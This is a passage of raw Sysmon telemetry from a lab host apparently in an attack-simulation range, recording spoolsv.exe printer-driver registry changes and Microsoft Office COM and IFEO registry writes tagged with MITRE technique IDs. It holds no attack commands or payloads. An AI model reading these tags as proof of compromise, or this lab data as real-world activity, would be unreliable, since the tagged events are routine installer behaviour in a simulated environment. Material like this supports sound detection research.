9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000041982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-DriverVerSetValue2021-09-10 14:44:10.727{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\OneNote (Desktop),0\DsDriver\driverVersionDWORD (0x00000401) 10341000x800000000000000041981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.727{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+6668|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 12241200x800000000000000041980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedDeleteValue2021-09-10 14:44:10.727{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exeHKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{BB00717D-A5BE-4537-9625-54CBF10568C3}\FriendlyName 12241200x800000000000000041979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-DriverVerDeleteValue2021-09-10 14:44:10.727{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exeHKLM\System\CurrentControlSet\Control\Class\{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\0003\DriverVersion 12241200x800000000000000041978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedDeleteValue2021-09-10 14:44:10.711{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exeHKLM\System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{BB00717D-A5BE-4537-9625-54CBF10568C3}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName 10341000x800000000000000041977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.711{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+6668|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.602{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=383EA61CD0D2217EEE358807BBE651BC,SHA256=29E8616CCEDF4E8CBF73F776C0CC70ADCA70A702C13C19E4CBB8115F931ADE91,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.586{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.570{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000041969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{D0B22D03-D05D-4C6D-8AB7-9392E84A87B9}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{D5EC4D34-77DA-4F7A-B8C4-8A910C1C1CFE}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{805B7F91-C9CF-4EDF-ACA6-775664FDFB3E}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{97A2762C-403C-4953-A121-7A75ABCE4373}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{8D4F994C-EBBE-4F8D-BA4B-AE20CD36E72D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{A1EB89D6-0A9C-4575-A0AE-654A990A454C}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{367E582C-F71C-4BF9-AA1B-9F62B793E9C5}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{6F3DD387-5AF2-492B-BDE2-30FF2F451241}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{CD7791B9-43FD-42C5-AE42-8DD2811F0419}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msaccess.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 23542300x800000000000000041959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.555{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.MSACCESS.16.1033.hxnMD5=5A51E674E7D3EA5E765E302CE36AF639,SHA256=4CDC51C6E54334E5D6B161A692DA32C433F14E69824D17C5B399B24C9CC93729,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000041957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.027{7BD73061-6F37-613B-9208-00000000F001}6884C:\Program Files\Microsoft Office\root\Integration\Integrator.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59221-false20.44.10.122-443https 23542300x800000000000000041956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.539{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.539{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.539{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.SPREADSHEETCOMPARE.16.1033.hxnMD5=8D47F10FA5F7F82E449D957321AC66D6,SHA256=5F5B2BCF24F0ED86E220E1A847039A0CB746F4336A025F0F00989F17EE2D5D1A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.539{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.DATABASECOMPARE.16.1033.hxnMD5=8070DE7AAF330F8E04123DA533D3C623,SHA256=07D60445CC1F18222D5F7B22067FC27894D03F9C6770FD8B7664BA2A84EC8E92,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000041952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{E2F5480E-ED5A-4DDE-B8A8-F9F297479F62}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{4693FF15-B962-420A-9E5D-176F7D4B8321}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9FBC2D8F-6F52-4CFA-A86F-096F3E9EB4B2}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{20E823C2-62F3-4638-96BD-90F4F6784EBC}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{312AB530-ECC9-496E-AE0E-C9E6C5392499}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{F90DFE0C-CBDF-41FF-8598-EDD8F222A2C8}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{DDFE337F-4987-4EC8-BDE3-133FA63D5D85}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{5A98B233-3C59-4B31-944C-0E560D85E6C3}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{4039B326-9F27-4B4A-B460-47A0C6A39D5C}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\MSGFILT.DLL 13241300x800000000000000041943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 10341000x800000000000000041942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.508{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-C308-00000000F001}6896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.508{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.508{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.508{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.508{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.508{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.508{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.508{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.508{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.508{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.508{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.492{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.EXCEL.16.1033.hxnMD5=434CC308BDFD2E5EAA435C40C892CF3B,SHA256=B9A1E3761014D227DBD10889A53F33EBDA1B44E9594DE44F89B41F47CEB9B0BC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.492{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-C308-00000000F001}6896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.492{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3A-613B-C308-00000000F001}6896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000041928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\IM Providers\Lync\FriendlyNameMicrosoft Lync 16 13241300x800000000000000041927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{8AC780E1-BCDB-4816-A6EA-A88BCC064453}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\AutoHelper.dll 13241300x800000000000000041926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{611B6CB4-ACE6-4655-8D60-15FAC4AD0952}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\AutoHelper.dll 23542300x800000000000000041925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.461{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A05736246A3D20FB63AE411DF7CB5234,SHA256=CC40305F44DE5746A3703F026339C6BE0D8203CB4D58010BFA83DF6114893261,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000041924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{8AC780E1-BCDB-4816-A6EA-A88BCC064453}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\AutoHelper.dll 13241300x800000000000000041923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{611B6CB4-ACE6-4655-8D60-15FAC4AD0952}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\AutoHelper.dll 13241300x800000000000000041922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft 